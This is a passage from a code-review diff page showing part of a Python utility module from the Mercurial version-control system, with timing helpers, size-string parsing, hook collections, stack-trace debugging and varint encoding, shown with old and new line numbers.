3337 timecount = unitcountfn(
3328 (1, 1e3, _(b'%.0f s')),
3338 (1, 1e3, _(b'%.0f s')),
3329 (100, 1, _(b'%.1f s')),
3339 (100, 1, _(b'%.1f s')),
3330 (10, 1, _(b'%.2f s')),
3340 (10, 1, _(b'%.2f s')),
3331 (1, 1, _(b'%.3f s')),
3341 (1, 1, _(b'%.3f s')),
3332 (100, 0.001, _(b'%.1f ms')),
3342 (100, 0.001, _(b'%.1f ms')),
3333 (10, 0.001, _(b'%.2f ms')),
3343 (10, 0.001, _(b'%.2f ms')),
3334 (1, 0.001, _(b'%.3f ms')),
3344 (1, 0.001, _(b'%.3f ms')),
3335 (100, 0.000001, _(b'%.1f us')),
3345 (100, 0.000001, _(b'%.1f us')),
3336 (10, 0.000001, _(b'%.2f us')),
3346 (10, 0.000001, _(b'%.2f us')),
3337 (1, 0.000001, _(b'%.3f us')),
3347 (1, 0.000001, _(b'%.3f us')),
3338 (100, 0.000000001, _(b'%.1f ns')),
3348 (100, 0.000000001, _(b'%.1f ns')),
3339 (10, 0.000000001, _(b'%.2f ns')),
3349 (10, 0.000000001, _(b'%.2f ns')),
3340 (1, 0.000000001, _(b'%.3f ns')),
3350 (1, 0.000000001, _(b'%.3f ns')),
3341 )
3351 )
3342
3352
3343
3353
3344 @attr.s
3354 @attr.s
3345 class timedcmstats(object):
3355 class timedcmstats(object):
3346 """Stats information produced by the timedcm context manager on entering."""
3356 """Stats information produced by the timedcm context manager on entering."""
3347
3357
3348 # the starting value of the timer as a float (meaning and resulution is
3358 # the starting value of the timer as a float (meaning and resulution is
3349 # platform dependent, see util.timer)
3359 # platform dependent, see util.timer)
3350 start = attr.ib(default=attr.Factory(lambda: timer()))
3360 start = attr.ib(default=attr.Factory(lambda: timer()))
3351 # the number of seconds as a floating point value; starts at 0, updated when
3361 # the number of seconds as a floating point value; starts at 0, updated when
3352 # the context is exited.
3362 # the context is exited.
3353 elapsed = attr.ib(default=0)
3363 elapsed = attr.ib(default=0)
3354 # the number of nested timedcm context managers.
3364 # the number of nested timedcm context managers.
3355 level = attr.ib(default=1)
3365 level = attr.ib(default=1)
3356
3366
3357 def __bytes__(self):
3367 def __bytes__(self):
3358 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3368 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3359
3369
3360 __str__ = encoding.strmethod(__bytes__)
3370 __str__ = encoding.strmethod(__bytes__)
3361
3371
3362
3372
3363 @contextlib.contextmanager
3373 @contextlib.contextmanager
3364 def timedcm(whencefmt, *whenceargs):
3374 def timedcm(whencefmt, *whenceargs):
3365 """A context manager that produces timing information for a given context.
3375 """A context manager that produces timing information for a given context.
3366
3376
3367 On entering a timedcmstats instance is produced.
3377 On entering a timedcmstats instance is produced.
3368
3378
3369 This context manager is reentrant.
3379 This context manager is reentrant.
3370
3380
3371 """
3381 """
3372 # track nested context managers
3382 # track nested context managers
3373 timedcm._nested += 1
3383 timedcm._nested += 1
3374 timing_stats = timedcmstats(level=timedcm._nested)
3384 timing_stats = timedcmstats(level=timedcm._nested)
3375 try:
3385 try:
3376 with tracing.log(whencefmt, *whenceargs):
3386 with tracing.log(whencefmt, *whenceargs):
3377 yield timing_stats
3387 yield timing_stats
3378 finally:
3388 finally:
3379 timing_stats.elapsed = timer() - timing_stats.start
3389 timing_stats.elapsed = timer() - timing_stats.start
3380 timedcm._nested -= 1
3390 timedcm._nested -= 1
3381
3391
3382
3392
3383 timedcm._nested = 0
3393 timedcm._nested = 0
3384
3394
3385
3395
3386 def timed(func):
3396 def timed(func):
3387 '''Report the execution time of a function call to stderr.
3397 '''Report the execution time of a function call to stderr.
3388
3398
3389 During development, use as a decorator when you need to measure
3399 During development, use as a decorator when you need to measure
3390 the cost of a function, e.g. as follows:
3400 the cost of a function, e.g. as follows:
3391
3401
3392 @util.timed
3402 @util.timed
3393 def foo(a, b, c):
3403 def foo(a, b, c):
3394 pass
3404 pass
3395 '''
3405 '''
3396
3406
3397 def wrapper(*args, **kwargs):
3407 def wrapper(*args, **kwargs):
3398 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3408 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3399 result = func(*args, **kwargs)
3409 result = func(*args, **kwargs)
3400 stderr = procutil.stderr
3410 stderr = procutil.stderr
3401 stderr.write(
3411 stderr.write(
3402 b'%s%s: %s\n'
3412 b'%s%s: %s\n'
3403 % (
3413 % (
3404 b' ' * time_stats.level * 2,
3414 b' ' * time_stats.level * 2,
3405 pycompat.bytestr(func.__name__),
3415 pycompat.bytestr(func.__name__),
3406 time_stats,
3416 time_stats,
3407 )
3417 )
3408 )
3418 )
3409 return result
3419 return result
3410
3420
3411 return wrapper
3421 return wrapper
3412
3422
3413
3423
3414 _sizeunits = (
3424 _sizeunits = (
3415 (b'm', 2 ** 20),
3425 (b'm', 2 ** 20),
3416 (b'k', 2 ** 10),
3426 (b'k', 2 ** 10),
3417 (b'g', 2 ** 30),
3427 (b'g', 2 ** 30),
3418 (b'kb', 2 ** 10),
3428 (b'kb', 2 ** 10),
3419 (b'mb', 2 ** 20),
3429 (b'mb', 2 ** 20),
3420 (b'gb', 2 ** 30),
3430 (b'gb', 2 ** 30),
3421 (b'b', 1),
3431 (b'b', 1),
3422 )
3432 )
3423
3433
3424
3434
3425 def sizetoint(s):
3435 def sizetoint(s):
3426 '''Convert a space specifier to a byte count.
3436 '''Convert a space specifier to a byte count.
3427
3437
3428 >>> sizetoint(b'30')
3438 >>> sizetoint(b'30')
3429 30
3439 30
3430 >>> sizetoint(b'2.2kb')
3440 >>> sizetoint(b'2.2kb')
3431 2252
3441 2252
3432 >>> sizetoint(b'6M')
3442 >>> sizetoint(b'6M')
3433 6291456
3443 6291456
3434 '''
3444 '''
3435 t = s.strip().lower()
3445 t = s.strip().lower()
3436 try:
3446 try:
3437 for k, u in _sizeunits:
3447 for k, u in _sizeunits:
3438 if t.endswith(k):
3448 if t.endswith(k):
3439 return int(float(t[: -len(k)]) * u)
3449 return int(float(t[: -len(k)]) * u)
3440 return int(t)
3450 return int(t)
3441 except ValueError:
3451 except ValueError:
3442 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3452 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3443
3453
3444
3454
3445 class hooks(object):
3455 class hooks(object):
3446 '''A collection of hook functions that can be used to extend a
3456 '''A collection of hook functions that can be used to extend a
3447 function's behavior. Hooks are called in lexicographic order,
3457 function's behavior. Hooks are called in lexicographic order,
3448 based on the names of their sources.'''
3458 based on the names of their sources.'''
3449
3459
3450 def __init__(self):
3460 def __init__(self):
3451 self._hooks = []
3461 self._hooks = []
3452
3462
3453 def add(self, source, hook):
3463 def add(self, source, hook):
3454 self._hooks.append((source, hook))
3464 self._hooks.append((source, hook))
3455
3465
3456 def __call__(self, *args):
3466 def __call__(self, *args):
3457 self._hooks.sort(key=lambda x: x[0])
3467 self._hooks.sort(key=lambda x: x[0])
3458 results = []
3468 results = []
3459 for source, hook in self._hooks:
3469 for source, hook in self._hooks:
3460 results.append(hook(*args))
3470 results.append(hook(*args))
3461 return results
3471 return results
3462
3472
3463
3473
3464 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3474 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3465 '''Yields lines for a nicely formatted stacktrace.
3475 '''Yields lines for a nicely formatted stacktrace.
3466 Skips the 'skip' last entries, then return the last 'depth' entries.
3476 Skips the 'skip' last entries, then return the last 'depth' entries.
3467 Each file+linenumber is formatted according to fileline.
3477 Each file+linenumber is formatted according to fileline.
3468 Each line is formatted according to line.
3478 Each line is formatted according to line.
3469 If line is None, it yields:
3479 If line is None, it yields:
3470 length of longest filepath+line number,
3480 length of longest filepath+line number,
3471 filepath+linenumber,
3481 filepath+linenumber,
3472 function
3482 function
3473
3483
3474 Not be used in production code but very convenient while developing.
3484 Not be used in production code but very convenient while developing.
3475 '''
3485 '''
3476 entries = [
3486 entries = [
3477 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3487 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3478 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3488 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3479 ][-depth:]
3489 ][-depth:]
3480 if entries:
3490 if entries:
3481 fnmax = max(len(entry[0]) for entry in entries)
3491 fnmax = max(len(entry[0]) for entry in entries)
3482 for fnln, func in entries:
3492 for fnln, func in entries:
3483 if line is None:
3493 if line is None:
3484 yield (fnmax, fnln, func)
3494 yield (fnmax, fnln, func)
3485 else:
3495 else:
3486 yield line % (fnmax, fnln, func)
3496 yield line % (fnmax, fnln, func)
3487
3497
3488
3498
3489 def debugstacktrace(
3499 def debugstacktrace(
3490 msg=b'stacktrace',
3500 msg=b'stacktrace',
3491 skip=0,
3501 skip=0,
3492 f=procutil.stderr,
3502 f=procutil.stderr,
3493 otherf=procutil.stdout,
3503 otherf=procutil.stdout,
3494 depth=0,
3504 depth=0,
3495 prefix=b'',
3505 prefix=b'',
3496 ):
3506 ):
3497 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3507 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3498 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3508 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3499 By default it will flush stdout first.
3509 By default it will flush stdout first.
3500 It can be used everywhere and intentionally does not require an ui object.
3510 It can be used everywhere and intentionally does not require an ui object.
3501 Not be used in production code but very convenient while developing.
3511 Not be used in production code but very convenient while developing.
3502 '''
3512 '''
3503 if otherf:
3513 if otherf:
3504 otherf.flush()
3514 otherf.flush()
3505 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3515 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3506 for line in getstackframes(skip + 1, depth=depth):
3516 for line in getstackframes(skip + 1, depth=depth):
3507 f.write(prefix + line)
3517 f.write(prefix + line)
3508 f.flush()
3518 f.flush()
3509
3519
3510
3520
3511 # convenient shortcut
3521 # convenient shortcut
3512 dst = debugstacktrace
3522 dst = debugstacktrace
3513
3523
3514
3524
3515 def safename(f, tag, ctx, others=None):
3525 def safename(f, tag, ctx, others=None):
3516 """
3526 """
3517 Generate a name that it is safe to rename f to in the given context.
3527 Generate a name that it is safe to rename f to in the given context.
3518
3528
3519 f: filename to rename
3529 f: filename to rename
3520 tag: a string tag that will be included in the new name
3530 tag: a string tag that will be included in the new name
3521 ctx: a context, in which the new name must not exist
3531 ctx: a context, in which the new name must not exist
3522 others: a set of other filenames that the new name must not be in
3532 others: a set of other filenames that the new name must not be in
3523
3533
3524 Returns a file name of the form oldname~tag[~number] which does not exist
3534 Returns a file name of the form oldname~tag[~number] which does not exist
3525 in the provided context and is not in the set of other names.
3535 in the provided context and is not in the set of other names.
3526 """
3536 """
3527 if others is None:
3537 if others is None:
3528 others = set()
3538 others = set()
3529
3539
3530 fn = b'%s~%s' % (f, tag)
3540 fn = b'%s~%s' % (f, tag)
3531 if fn not in ctx and fn not in others:
3541 if fn not in ctx and fn not in others:
3532 return fn
3542 return fn
3533 for n in itertools.count(1):
3543 for n in itertools.count(1):
3534 fn = b'%s~%s~%s' % (f, tag, n)
3544 fn = b'%s~%s~%s' % (f, tag, n)
3535 if fn not in ctx and fn not in others:
3545 if fn not in ctx and fn not in others:
3536 return fn
3546 return fn
3537
3547
3538
3548
3539 def readexactly(stream, n):
3549 def readexactly(stream, n):
3540 '''read n bytes from stream.read and abort if less was available'''
3550 '''read n bytes from stream.read and abort if less was available'''
3541 s = stream.read(n)
3551 s = stream.read(n)
3542 if len(s) < n:
3552 if len(s) < n:
3543 raise error.Abort(
3553 raise error.Abort(
3544 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3554 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3545 % (len(s), n)
3555 % (len(s), n)
3546 )
3556 )
3547 return s
3557 return s
3548
3558
3549
3559
3550 def uvarintencode(value):
3560 def uvarintencode(value):
3551 """Encode an unsigned integer value to a varint.
3561 """Encode an unsigned integer value to a varint.
3552
3562
3553 A varint is a variable length integer of 1 or more bytes. Each byte
3563 A varint is a variable length integer of 1 or more bytes. Each byte
3554 except the last has the most significant bit set. The lower 7 bits of
3564 except the last has the most significant bit set. The lower 7 bits of
3555 each byte store the 2's complement representation, least significant group
3565 each byte store the 2's complement representation, least significant group
3556 first.
3566 first.
3557
3567
3558 >>> uvarintencode(0)
3568 >>> uvarintencode(0)
3559 '\\x00'
3569 '\\x00'
3560 >>> uvarintencode(1)
3570 >>> uvarintencode(1)
3561 '\\x01'
3571 '\\x01'
3562 >>> uvarintencode(127)
3572 >>> uvarintencode(127)
3563 '\\x7f'
3573 '\\x7f'
3564 >>> uvarintencode(1337)
3574 >>> uvarintencode(1337)
3565 '\\xb9\\n'
3575 '\\xb9\\n'
3566 >>> uvarintencode(65536)
3576 >>> uvarintencode(65536)
3567 '\\x80\\x80\\x04'
3577 '\\x80\\x80\\x04'
3568 >>> uvarintencode(-1)
3578 >>> uvarintencode(-1)
3569 Traceback (most recent call last):
3579 Traceback (most recent call last):
3570 ...
3580 ...
3571 ProgrammingError: negative value for uvarint: -1
3581 ProgrammingError: negative value for uvarint: -1
3572 """
3582 """
3573 if value < 0:
3583 if value < 0:
3574 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3584 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3575 bits = value & 0x7F
3585 bits = value & 0x7F
3576 value >>= 7
3586 value >>= 7
3577 bytes = []
3587 bytes = []
3578 while value:
3588 while value:
3579 bytes.append(pycompat.bytechr(0x80 | bits))
3589 bytes.append(pycompat.bytechr(0x80 | bits))
3580 bits = value & 0x7F
3590 bits = value & 0x7F
3581 value >>= 7
3591 value >>= 7
3582 bytes.append(pycompat.bytechr(bits))
3592 bytes.append(pycompat.bytechr(bits))
3583
3593
3584 return b''.join(bytes)
3594 return b''.join(bytes)
3585
3595
3586
3596
3587 def uvarintdecodestream(fh):
3597 def uvarintdecodestream(fh):
3588 """Decode an unsigned variable length integer from a stream.
3598 """Decode an unsigned variable length integer from a stream.
3589
3599
3590 The passed argument is anything that has a ``.read(N)`` method.
3600 The passed argument is anything that has a ``.read(N)`` method.
3591
3601
3592 >>> try:
3602 >>> try:
3593 ... from StringIO import StringIO as BytesIO
3603 ... from StringIO import StringIO as BytesIO
3594 ... except ImportError:
3604 ... except ImportError:
3595 ... from io import BytesIO
3605 ... from io import BytesIO
3596 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3606 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3597 0
3607 0
3598 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3608 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3599 1
3609 1
3600 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3610 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3601 127
3611 127
3602 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3612 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3603 1337
3613 1337
3604 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3614 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3605 65536
3615 65536
3606 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3616 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3607 Traceback (most recent call last):
3617 Traceback (most recent call last):
3608 ...
3618 ...
3609 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3619 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3610 """
3620 """
3611 result = 0
3621 result = 0
3612 shift = 0
3622 shift = 0
3613 while True:
3623 while True:
3614 byte = ord(readexactly(fh, 1))
3624 byte = ord(readexactly(fh, 1))
3615 result |= (byte & 0x7F) << shift
3625 result |= (byte & 0x7F) << shift
3616 if not (byte & 0x80):
3626 if not (byte & 0x80):
3617 return result
3627 return result
3618 shift += 7
3628 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now